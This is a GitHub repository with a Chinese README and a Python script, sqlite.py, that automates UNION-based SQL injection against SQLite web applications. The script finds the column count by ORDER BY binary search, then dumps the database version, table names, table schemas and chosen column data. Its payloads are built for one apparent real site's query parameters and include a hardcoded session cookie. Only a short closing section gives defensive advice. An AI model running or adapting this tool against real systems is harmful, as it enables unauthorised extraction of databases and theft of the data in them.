├── .DS_Store
├── README.md
├── image
├── columns.png
├── data.png
└── tables.png
└── sqlite.py
/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/silience/sql/ed5e36c699c906159591755ce9677d331fbf525d/.DS_Store
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 | Sqlite联合注入辅助脚本
3 |
4 | 0×01概述:
5 |
6 | SQLite是一款轻型的数据库。sqlite存在一个叫SQLITE_MASTER的表,这与MySQL5.x的INFORMATION_SCHEMA表类似。sqlite_master 表中保存了数据库中所有表的信息,该表中比较有用的字段有“name,sql”,name字段存放的是表名,sql字段存放的是表结构。可以通过内置函数sqlite_version()获取版本信息,和其他数据库一样,通过“order by”判断长度,该数据库的注释符和ORACLE数据库一样,都是--。
7 |
8 | 0×02使用参数:
9 |
10 | python sqlite.py -u url --tables#获取所有表名
11 |
12 | python sqlite.py -u url --columns#获取所有表结构,从而获取字段值
13 |
14 | python sqlite.py -u url -T table_name -C column_name -d#获取指定字段内容
15 |
16 | 0×03:信息获取
17 |
18 | 通过自定义函数SetPoc,根据功能需求,设置各发包的PoC,比如猜测“order by”长度,获取版本信息,获取表名,获取表中字段名,以及字段的具体内容。
19 | 首先判断注入类型,是整型(123和555 = 555--),字符型(123'和555 = 555--),还是搜索型(123%'和555 = 555--),再通过二分法判断“order by”长度,如果一开始插入order by mid(尝试的长度)的包返回状态和正常的原始包返回状态不相等,则说明mid过大,如果原始正常包返回状态与插入的order by mid和order by mid + 1的包返回状态相等,则说明mid过小,如果原始正常包返回状态与插入order by mid的返回包状态相等,但与order by mid + 1的包返回状态不相等,则成功获取order by长度。
20 |
21 | def SetPoc(self, action):
22 |
23 | # 获取order by 数目的poc
24 | if action == "orderby":
25 | poc0 = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同" \
26 | "&q=&pageIndex=1&searchname=&_=1522659952172"
27 | poc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') "
28 | poc_end = "--&q=&pageIndex=1&searchname=&_=1522659952172"
29 | response0 = SendData(target, poc0)
30 | min = 0
31 | max = self.OrderBy
32 | middle = (max+min) / 2
33 | while self.OrderBy > 0:
34 | ordpoc1 = (poc_start + "order by {0}" + poc_end).format(middle)
35 | ordpoc2 = (poc_start + "order by {0}" + poc_end).format(middle + 1)
36 | response1 = SendData(target, ordpoc1)
37 | response2 = SendData(target, ordpoc2)
38 | if response0.status_code != response1.status_code:
39 | max = middle
40 | middle = (min+max) / 2
41 | else:
42 | if response1.status_code == response2.status_code:
43 |
44 | if response1.status_code == 200:
45 | min = middle
46 | middle = (min+max) / 2
47 | else:
48 | max = middle
49 | middle = (min+max) / 2
50 | else:
51 | self.OrderBy = middle
52 | print ("》Order By number is %s" % self.OrderBy)
53 | break
54 |
55 |
56 | 通过调用count(1)可获取数据库中表的总数,通过查询系统表SQLITE_MASTER中的name字段,可获取数据库中所有表名,这和MySQL数据库中系统表INFORMATION_SCHEMA中的“table_name”字段类似。通过limit关键字指定获取信息的开始位置和数量,比如limit 0,1,则是从第一条开始,并且只获取一条数据
57 |
58 | # 获取表数量的poc
59 | elif action == "tabnum":
60 | tabnumpoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \
61 | "and 1=2 UNION SELECT null,''||count(1)||''"
62 | tabnumpoc_end = " from sqlite_master--&q=&pageIndex=1&searchname=&_=1522659952172"
63 | tabnumpoc = tabnumpoc_start + self.poc_mid + tabnumpoc_end
64 | return tabnumpoc
65 |
66 |
67 | 通过上步获取的order by长度,再调用内置函数sqlite_version(),获取版本信息,poc类似%' and 1 = 2 UNION SELECT null,sqlite_version() ,Sqlite数据库的字符型、搜索类型注入,和Oracle数据库一样,可以通过使用null进行注入。这里将发送包分成三部分进行拼接,第一部分是类似123%' and 1 = 2 union select null,sqlite_vetsion(),这部分将根据要查询的信息进行变化,如查询所有表名,则使用123%' and 1 = 2 union select null,name;第二部分则根据前面获取的order by 长度,补齐缺少的null,第三部分则根据要查询条件进行修改
68 |
69 | # 获取版本信息的poc
70 | elif action == "version":
71 | verpoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \
72 | "and 1=2 UNION SELECT null,''||sqlite_version()||''"
73 | verpoc_end = " from sqlite_master--&q=&pageIndex=1&searchname=&_=1522659952172"
74 | order_num = self.OrderBy
75 | while order_num > 2:
76 | self.poc_mid = self.poc_mid + ",null"
77 | order_num = order_num - 1
78 | verpoc = verpoc_start + self.poc_mid + verpoc_end
79 | #print self.poc_mid
80 | return verpoc
81 |
82 |
83 | 
84 |
85 | sqlite_master表和mysql数据库中系统表information_schema不一样的是,sqlite_master不存在类似“column_name”的字段,但是她有一个sql字段,该字段保存了各个表的结构,包括表名,字段名和类型。因此可以通过查询sql字段获取各个表的列名。
86 |
87 | # 获取所有表结构的poc
88 | elif action == "columns":
89 | columnspoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \
90 | "and 1=2 UNION SELECT null,''||sql||''"
91 | columnspoc_end = " from sqlite_master limit 0,{0}--&q=&pageIndex=1&searchname=&_=1522659952172".format(self.table_num)
92 | columnspoc = columnspoc_start + self.poc_mid + columnspoc_end
93 | return columnspoc
94 |
95 | 
96 |
97 | 通过前面获取的表名和列名,再获取具体内容,类似的poc为123%' and 1 = 2 UNION SELECT null,column_name,null from table_name--。
98 |
99 | # 获取指定表数据条数的poc
100 | elif action == "datanum":
101 | datanumpoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \
102 | "and 1=2 UNION SELECT null,''||count(1)||''"
103 | datanumpoc_end = " from {0}--&q=&pageIndex=1&searchname=&_=1522659952172".format(table_name)
104 | datanumpoc = datanumpoc_start + self.poc_mid + datanumpoc_end
105 | return datanumpoc
106 |
107 | # 获取具体数据的poc
108 | elif action == "data":
109 | datapoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \
110 | "and 1=2 UNION SELECT null,''||{0}||''".format(column_name)
111 | datapoc_end = " from {0} limit 0,{1}--&q=&pageIndex=1&searchname=&_=1522659952172".format(table_name, self.column_num)
112 | datapoc = datapoc_start + self.poc_mid + datapoc_end
113 | return datapoc
114 |
115 | 
116 |
117 | 0×04:SQL注入防御
118 |
119 | 1,使用白名单或者黑名单进行全局过滤,防止二次注入
120 |
121 | 2,强制使用预编译,参数化语句,如JSP的PreparedStatement的setString方法等
122 |
123 | 3,前端JS过滤,如调用escape方法
124 |
125 | 4,借助第三方安全防御软件,如WAF
126 |
--------------------------------------------------------------------------------
/image/columns.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/silience/sql/ed5e36c699c906159591755ce9677d331fbf525d/image/columns.png
--------------------------------------------------------------------------------
/image/data.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/silience/sql/ed5e36c699c906159591755ce9677d331fbf525d/image/data.png
--------------------------------------------------------------------------------
/image/tables.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/silience/sql/ed5e36c699c906159591755ce9677d331fbf525d/image/tables.png
--------------------------------------------------------------------------------
/sqlite.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python
2 | # _*_ coding:utf-8 _*_
3 |
4 | import getopt
5 | import sys
6 | import requests
7 | import re
8 | import urllib
9 |
10 | target = ""
11 | table_name = ""
12 | column_name = ""
13 |
14 |
15 | # 用法
16 | def usage():
17 | print
18 | print ("Usage: python sqlite.py -u url --tables") # 获取所有表名
19 | print ("Usage: python sqlite.py -u url --columns") # 获取所有表结构,从而获取字段值
20 | print ("Usage: python sqlite.py -u url -T table_name -C column_name -d") # 获取指定数据
21 | print ("-t - get tables")
22 | print ("-T - choose a table")
23 | print ("-c - get columns")
24 | print ("-C - choose a column")
25 | print ("-d - get data")
26 | sys.exit(0)
27 |
28 |
29 | def SendData(target, poc):
30 | url = target + poc
31 | headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0",
32 | "Accept": "application/json, text/javascript, */*; q=0.01",
33 | "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
34 | "Accept-Encoding": "gzip, deflate", "Referer": "",
35 | "Cookie": "safedog-flow-item=C3D1A1E4021D97E59C56A67DC0C53D2D; "
36 | "ASP.NET_SessionId=g5vaceg2zozfjv42p4kwmxkb",
37 | "Connection": "close"}
38 |
39 | response = requests.get(url, headers=headers)
40 | return response
41 |
42 |
43 | def handleData(response):
44 | result = re.findall(r'(.*?)', response.content, re.I)
45 | return result
46 |
47 |
48 | class DataBase():
49 | def __init__(self, target):
50 | self.version = "" # 版本信息
51 | self.tables = [] # 所有表
52 | self.table_num = 0 # 所有表数目
53 | self.column_num = 0 # 指定表中数据条数
54 | self.columns = [] # 字段
55 | self.datas = [] # 具体数据
56 | self.target = target # 目标地址
57 | self.OrderBy = 200 # order by 初始值
58 | self.poc_mid = "" # poc相同部分,初始为空
59 |
60 | def SetPoc(self, action):
61 |
62 | # 获取order by 数目的poc
63 | if action == "orderby":
64 | poc0 = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同" \
65 | "&q=&pageIndex=1&searchname=&_=1522659952172"
66 | poc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') "
67 | poc_end = "--&q=&pageIndex=1&searchname=&_=1522659952172"
68 | response0 = SendData(target, poc0)
69 | min = 0
70 | max = self.OrderBy
71 | middle = (max+min) / 2
72 | while self.OrderBy > 0:
73 | ordpoc1 = (poc_start + "order by {0}" + poc_end).format(middle)
74 | ordpoc2 = (poc_start + "order by {0}" + poc_end).format(middle + 1)
75 | response1 = SendData(target, ordpoc1)
76 | response2 = SendData(target, ordpoc2)
77 | if response0.status_code != response1.status_code:
78 | max = middle
79 | middle = (min+max) / 2
80 | else:
81 | if response1.status_code == response2.status_code:
82 |
83 | if response1.status_code == 200:
84 | min = middle
85 | middle = (min+max) / 2
86 | else:
87 | max = middle
88 | middle = (min+max) / 2
89 | else:
90 | self.OrderBy = middle
91 | print ("》Order By number is %s" % self.OrderBy)
92 | break
93 |
94 | # 获取版本信息的poc
95 | elif action == "version":
96 | verpoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \
97 | "and 1=2 UNION SELECT null,''||sqlite_version()||''"
98 | verpoc_end = " from sqlite_master--&q=&pageIndex=1&searchname=&_=1522659952172"
99 | order_num = self.OrderBy
100 | while order_num > 2:
101 | self.poc_mid = self.poc_mid + ",null"
102 | order_num = order_num - 1
103 | verpoc = verpoc_start + self.poc_mid + verpoc_end
104 | #print self.poc_mid
105 | return verpoc
106 |
107 | # 获取表数量的poc
108 | elif action == "tabnum":
109 | tabnumpoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \
110 | "and 1=2 UNION SELECT null,''||count(1)||''"
111 | tabnumpoc_end = " from sqlite_master--&q=&pageIndex=1&searchname=&_=1522659952172"
112 | tabnumpoc = tabnumpoc_start + self.poc_mid + tabnumpoc_end
113 | return tabnumpoc
114 |
115 | # 获取所有表名的poc
116 | elif action == "tables":
117 | tablespoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \
118 | "and 1=2 UNION SELECT null,''||name||''"
119 | tablespoc_end = " from sqlite_master limit 0,{0}--&q=&pageIndex=1&searchname=&_=1522659952172".format(
120 | self.table_num)
121 | tablespoc = tablespoc_start + self.poc_mid + tablespoc_end
122 | return tablespoc
123 |
124 | # 获取所有表结构的poc
125 | elif action == "columns":
126 | columnspoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \
127 | "and 1=2 UNION SELECT null,''||sql||''"
128 | columnspoc_end = " from sqlite_master limit 0,{0}--&q=&pageIndex=1&searchname=&_=1522659952172".format(self.table_num)
129 | columnspoc = columnspoc_start + self.poc_mid + columnspoc_end
130 | return columnspoc
131 |
132 | # 获取指定表数据条数的poc
133 | elif action == "datanum":
134 | datanumpoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \
135 | "and 1=2 UNION SELECT null,''||count(1)||''"
136 | datanumpoc_end = " from {0}--&q=&pageIndex=1&searchname=&_=1522659952172".format(table_name)
137 | datanumpoc = datanumpoc_start + self.poc_mid + datanumpoc_end
138 | return datanumpoc
139 |
140 | # 获取具体数据的poc
141 | elif action == "data":
142 | datapoc_start = "?callback=jQuery21005291906092260772_1522659952161&mainQ=四同%') " \
143 | "and 1=2 UNION SELECT null,''||{0}||''".format(column_name)
144 | datapoc_end = " from {0} limit 0,{1}--&q=&pageIndex=1&searchname=&_=1522659952172".format(table_name, self.column_num)
145 | datapoc = datapoc_start + self.poc_mid + datapoc_end
146 | return datapoc
147 |
148 | else:
149 | pass
150 |
151 | # 获取信息
152 | def GetInfo(self, target):
153 | # 遍历order by
154 | ord_action = "orderby"
155 | self.SetPoc(ord_action)
156 |
157 | # 获取版本信息
158 | ver_action = "version"
159 | verpoc = self.SetPoc(ver_action)
160 | ver_response = SendData(target, verpoc)
161 | self.version = handleData(ver_response)
162 | print ("》版本信息:%s" % self.version)
163 |
164 | # 获取表数目
165 | tabnum_action = "tabnum"
166 | tabnumpoc = self.SetPoc(tabnum_action)
167 | tabnum_response = SendData(target, tabnumpoc)
168 | self.table_num = int(handleData(tabnum_response)[0])
169 | print ("》》总共有%s张表" % self.table_num)
170 |
171 | # 获取表信息
172 | def GetTables(self, target):
173 | # 遍历所有表名
174 | action = "tables"
175 | tablespoc = self.SetPoc(action)
176 | tables_response = SendData(target, tablespoc)
177 | self.tables = handleData(tables_response)
178 | print ("》》》表名")
179 | for tab in self.tables:
180 | print (tab)
181 |
182 | # 获取字段信息
183 | def GetColumns(self, target):
184 | # 首先获取表结构,从表结构中获取字段
185 | action = "columns"
186 | cloumnspoc = self.SetPoc(action)
187 | cloumns_response = SendData(target, cloumnspoc)
188 | self.columns = handleData(cloumns_response)
189 | print ("》》》表结构")
190 | for col in self.columns:
191 | print (col)
192 | print
193 |
194 | # 获取数据
195 | def GetData(self, target,table_name,column_name):
196 | # 获取指定表中数据条数
197 | datanum_action = "datanum"
198 | datanumpoc = self.SetPoc(datanum_action)
199 | datanum_response = SendData(target, datanumpoc)
200 | datanum_result = handleData(datanum_response)
201 | self.column_num = int(datanum_result[0]) # 获取当前表的数据条数
202 | print ("》》》》当前表{0}有{1}条数据".format(table_name, self.column_num))
203 |
204 | #获取具体数据内容
205 | datas_action = "data"
206 | datapoc = self.SetPoc(datas_action)
207 | data_response = SendData(target, datapoc)
208 | self.datas = handleData(data_response)
209 | print ("》》》》当前表{0}字段{1}的内容有".format(table_name, column_name))
210 | for data in self.datas:
211 | print (data)
212 |
213 | def main():
214 | global target
215 | global table_name
216 | global column_name
217 | global database
218 |
219 | try:
220 | opts, args = getopt.getopt(sys.argv[1:], "hu:tT:cC:d",
221 | ["help", "url", "tables", "table", "columns", "column", "dump"])
222 | except getopt.GetoptError as err:
223 | print str(err)
224 | usage()
225 |
226 | print target
227 | for o, a in opts:
228 | if o in ("-h", "--help"):
229 | usage()
230 | elif o in ("-u", "--url"):
231 | target = a
232 | database = DataBase(target)
233 | database.GetInfo(target)
234 | elif o in ("-t", "--tables"):
235 | database.GetTables(target)
236 | elif o in ("-T", "--table"):
237 | table_name = a
238 | elif o in ("-c", "--columns"):
239 | database.GetColumns(target)
240 | elif o in ("-C", "--column"):
241 | column_name = a
242 | elif o in ("-d", "--dump"):
243 | database.GetData(target,table_name,column_name)
244 | else:
245 | assert False, "Unhandled Option"
246 |
247 | main()
248 |
--------------------------------------------------------------------------------